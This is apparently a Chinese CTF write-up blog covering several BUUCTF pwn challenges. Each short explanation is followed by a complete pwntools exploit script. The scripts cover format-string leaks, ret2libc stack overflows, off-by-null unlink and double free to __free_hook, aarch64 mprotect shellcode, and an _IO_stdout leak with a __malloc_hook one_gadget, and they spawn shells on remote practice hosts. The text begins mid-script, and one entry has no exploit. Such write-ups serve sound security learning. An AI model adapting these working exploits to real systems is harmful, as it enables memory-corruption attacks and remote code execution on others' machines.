edit(2,p32(elf.sym["puts"]))
edit(1,b'a'*8+p32(elf.got["puts"])+p32(elf.got["atoi"])*2)
free(2)
libc_base=u32(p.recv(4))-libc.sym["puts"]
system=libc_base+libc.sym["system"]
print(hex(libc_base))
edit(3,p32(system))
p.interactive()
wustctf2020_babyfmt
思路:
格式字符串
可以看到参数a1也是位于栈上的,那么我们只需要在执行printf之前把a1给改掉即可无限调用printf了,然后再看这里
再劫持返回地址呢为fd=open("/flag",0),跳过close(1)即可获取flag了,不过貌似手搓rop链也行?反正难的是手搓,不是思路,直接贴exp了
Exp:
from pwn import *
from struct import pack
import base64
context(os = 'linux', arch = 'amd64', log_level='debug')
#p = process('./pwn')
p = remote('node4.buuoj.cn', 25607)
elf = ELF('./pwn')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = ELF('buu/libc-2.23.so')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
#gdb.attach(p, 'b *$rebase(0xF13)')
p.recv()
for i in range(3):
p.sendline(b'1')
# leak pro_base
p.sendlineafter(b'>>', b'2')
p.sendline(b'%7$n%17$p')
p.recvuntil(b'0x')
pro_base = int(p.recv(12), 16) - 0x102c
print(' pro_base -> ', hex(pro_base))
# leak ret
p.sendlineafter(b'>>', b'2')
p.sendline(b'%7$n%16$p')
p.recvuntil(b'0x')
ret = int(p.recv(12), 16) - 0x28
print(' ret -> ', hex(ret))
# ret -> get_flag
p.sendlineafter(b'>>', b'2')
get_flag = pro_base + 0xf56
payload = b'%' + str(get_flag & 0xffff).encode() + b'c%10$hn'
payload = payload.ljust(0x10, b'a') + p64(ret)
p.sendline(payload)
p.recvuntil(b'flag')
print(p.recv())
gwctf_2019_easy_pwn
思路:
c++栈题目,这里会把输入的替换为pretty,从而栈溢出构建ROP链。
然后就是简单的ret2libc了。没啥好说的
Exp:
from pwn import *
p=remote("node5.buuoj.cn",26276)
#p=process("./pwn")
elf=ELF("./pwn")
#libc=ELF("libc6-x32_2.26-0ubuntu2_i386.so")
libc=ELF("/home/giant/Desktop/buuctf5/libc-2.23_16-32.so")
def debug():
gdb.attach(p)
pause()
#gdb.attach(p,'b *0x0804925D')
p.recv()
p.send(b'I'*16+p32(elf.sym["puts"])+p32(0x08049091)+p32(elf.got["puts"]))
p.recv(116)
libc_base=u32(p.recv(4))-libc.sym["puts"]
system=libc.sym["system"]+libc_base
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
print(hex(libc_base))
p.recv()
p.send(b'I'*16+p32(system)+b'a'*4+p32(binsh))
p.recv()
p.interactive()
[OGeek2019 Final]OVM
思路:
OK,又是新题型,有点兴奋。这种题目一般就是通过代码来模拟自己的一套虚拟机程序
Exp:
ciscn_2019_es_4
思路:
菜单堆题,漏洞点在edit函数
存在offbynull漏洞,然后又由于程序没开pie,因此我们可以首先想到unlink。这里edit只能用两次,再看看add功能
可以看到在malloc成功后会打印堆地址,这里对malloc的size也有要求。free功能并无uaf。那么思路就很明了了,先造成unlink攻击,再通过修改堆控制信息来造成double free,最后实现任意地址改。就是如何实现duuble free攻击可能需要思考一下,其实还是一道很简单的堆题的。
ptr=0x602118
for i in range(9):
add(i,0xf8,b'aa'+b'\n')
heap_base=add(9,0xf8,b'/bin/sh\x00\n')
for i in range(7):
free(i)
edit(7,p64(0)+p64(0xf1)+p64(ptr-0x18)+p64(ptr-0x10)+b'a'*0xd0+p64(0xf0))
free(8)for i in range(7):
add(i,0xf8,b'aa'+b'\n')
free(9)
edit(7,p64(0)*3+p64(0x602100)+p64(0)+p64(heap_base))
free(9)
add(10,0xf8,p64(0x6022B0))
最后就是打free_hook了,这都是老生常谈的了。直接放exp吧
Exp:
from pwn import *
from struct import pack
import base64
context(os = 'linux', arch = 'amd64', log_level='debug')
p = process('./pwn')
#p = remote("node5.buuoj.cn",27319)
elf = ELF('./pwn')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
libc = ELF('/home/giant/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
#libc = ELF('/home/giant/Desktop/buuctf5/libc_2.27_18_64.so')
def debug():
gdb.attach(p)
pause()
def add(index, size, content):
p.sendlineafter(b'4.show\n', '1')
p.sendlineafter(b'index:\n', str(index))
p.sendlineafter(b'size:\n', str(size))
p.recvuntil(b'gift: ')
heap_base=int(p.recv(7),16)
p.sendafter(b'content:\n', content)
return heap_base
def free(index):
p.sendlineafter(b'4.show\n', '2')
p.sendlineafter(b'index:\n', str(index))
def edit(index, content):
p.sendlineafter(b'4.show\n', '3')
p.sendlineafter(b'index:\n', str(index))
p.sendafter(b'content:\n', content)
def show(index):
p.sendlineafter(b'4.show\n', '4')
p.sendlineafter(b'index:\n', str(index))
ptr=0x602118
for i in range(9):
add(i,0xf8,b'aa'+b'\n')
heap_base=add(9,0xf8,b'/bin/sh\x00\n')
for i in range(7):
free(i)
edit(7,p64(0)+p64(0xf1)+p64(ptr-0x18)+p64(ptr-0x10)+b'a'*0xd0+p64(0xf0))
free(8)
for i in range(7):
add(i,0xf8,b'aa'+b'\n')
free(9)
edit(7,p64(0)*3+p64(0x602100)+p64(0)+p64(heap_base))
free(9)
add(10,0xf8,p64(0x6022B0))
add(11,0xf8,b'a'*1)
add(12,0xf8,b'a'*0x30)
add(13,0xf8,b'a'*0x1)
show(13)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x61-448-0x10-libc.sym["__malloc_hook"]
free_hook=libc_base+libc.sym["__free_hook"]
system=libc_base+libc.sym["system"]
print(hex(heap_base))
print(hex(libc_base))
edit(7,p64(0)*3+p64(free_hook))
edit(7,p64(system))
add(14,0xf8,b'/bin/sh\x00')
free(14)
p.interactive()
#add(10,0x88,b'a'*1)
shanghai2018_baby_arm
思路:
也是异架构题目,还给了链接器和libc文件,看起来貌似不是很容易的样子,我们先把pwn下载下来拖进最新版本的ida。看看伪代码
这里貌似有栈溢出,难道是retlibc?但是write这里只能输出5个字节。不过我的gdb-multiarch好像出来问题,运行还是可以运行的,不过就调试的时候非常奇怪。有时总会运行着就会跳转到莫名其妙的地方,而且我的vmmap就更离谱了
就有点逆天,如果拿这种去调试的话,写点ret2text的话还好,但是如果一些调试量比较大的题目根本无从下手。
Exp:
from pwn import *
from struct import pack
context(os = 'linux', arch = 'aarch64', log_level='debug')
#p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./pwn"])
p = remote('node5.buuoj.cn',28104)
#p=process("./pwn")
elf = ELF('./pwn')
libc=ELF("libc.so_2.6")
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
payload = p64(elf.plt['mprotect']) + asm(shellcraft.aarch64.sh())
p.sendlineafter(b'Name:', payload)
payload = b'a'*72 + p64(0x4008CC) + p64(0) + p64(0x4008AC) + p64(0) + p64(1) + p64(0x411068) + p64(7) + p64(0x1000) + p64(0x411070) + p64(0) + p64(0x411070)
p.sendline(payload)
p.interactive()
npuctf_2020_bad_guy
思路:
菜单堆题
有趣的是没有show函数,而且保护也是全开的。但是还是给我们留了一个堆溢出漏洞
但是次数也是有限的,根据count可以看出来。那么这题就只有通过修改_IO_stdout_2_1来实现泄露libc_base了,关于这个不太了解的话可以搜一下资料。
通过堆块堆叠来将main_arena+88移到fastbin里面,然后再通过edit修改main_arena的后四位为_IO_stdout_附近的一个满足条件的值,可以去gdb里面找,一般在上面0x30左右有可以的地址来伪造size。
add(0,0x18,b'a'*8)
add(1,0x18,b'a'*8)
add(2,0x68,b'a'*8)
add(3,0x18,b'a'*8)free(2)
edit(0,b'a'*0x18+p64(0x91))
free(1)add(3,0x18,b'a'*8)
edit(3,b'a'*0x18+p64(0x71)+p8(0xdd)+p8(0x55))
然后就是修改IO_stdout结构体里面的内容了,把_IO_write_base适当修改即可打印出IO_stdout附近的内容,具体改成什么取决于你的机器,不过大概率需要爆破一位,所以只有1/16的成功率,不过本地的成功率却高得出奇,可能是本地没有那么随机化吧。
add(4,0x68,b'a'*8)
add(5,0x68,b'a'*0x30)edit(5,b'b'*0x3+b'\x00'*0x30+p64(0xfbad1880)+p64(0)*3+b'\x88')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym["_IO_2_1_stdin_"]
然后后面就是常规的打malloc_hook了,这没什么好说的,记得打之前修复一下unsorted bin,需要注意的是我说的修复可不是填充main_arena+88到unsorted bin里面,然后就是one_gagget去getshell了
Exp:
from pwn import *
#p=process("./pwn")
p=remote("node5.buuoj.cn",27831)
elf=ELF("./pwn")
libc=ELF("/home/giant/Desktop/buuctf5/libc-2.23_16_64.so")
def debug():
gdb.attach(p)
pause()
def add(idx,size,content):
p.sendlineafter(b'>> ',b'1')
p.sendlineafter(b'Index :',str(idx))
p.sendlineafter(b'size: ',str(size))
p.sendlineafter(b'Content:',content)
def edit(idx,content):
p.sendlineafter(b'>> ',b'2')
p.sendlineafter(b'Index :',str(idx))
p.sendlineafter(b'size: ',str(len(content)))
p.sendlineafter(b'content: ',content)
def free(idx):
p.sendlineafter(b'>> ',b'3')
p.sendlineafter(b'Index :',str(idx))
add(0,0x18,b'a'*8)
add(1,0x18,b'a'*8)
add(2,0x68,b'a'*8)
add(3,0x18,b'a'*8)
free(2)
edit(0,b'a'*0x18+p64(0x91))
free(1)
add(3,0x18,b'a'*8)
edit(3,b'a'*0x18+p64(0x71)+p8(0xdd)+p8(0x55))
add(4,0x68,b'a'*8)
add(5,0x68,b'a'*0x30)
edit(5,b'b'*0x3+b'\x00'*0x30+p64(0xfbad1880)+p64(0)*3+b'\x88')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym["_IO_2_1_stdin_"]
malloc_hook=libc.sym["__malloc_hook"]+libc_base
main_arena=malloc_hook+88+0x10
free(4)
edit(3,b'b'*0x18+p64(0x71)+p64(malloc_hook-0x23)*2)
print(hex(libc_base))
ogg=libc_base+0xf1147
add(6,0x68,b'a'*0x30)
add(7,0x68,b'a'*0x13+p64(ogg))
p.sendlineafter(b'>> ',b'1')
p.sendlineafter(b'Index :',b'8')
p.sendlineafter(b'size: ',b'20')
p.interactive()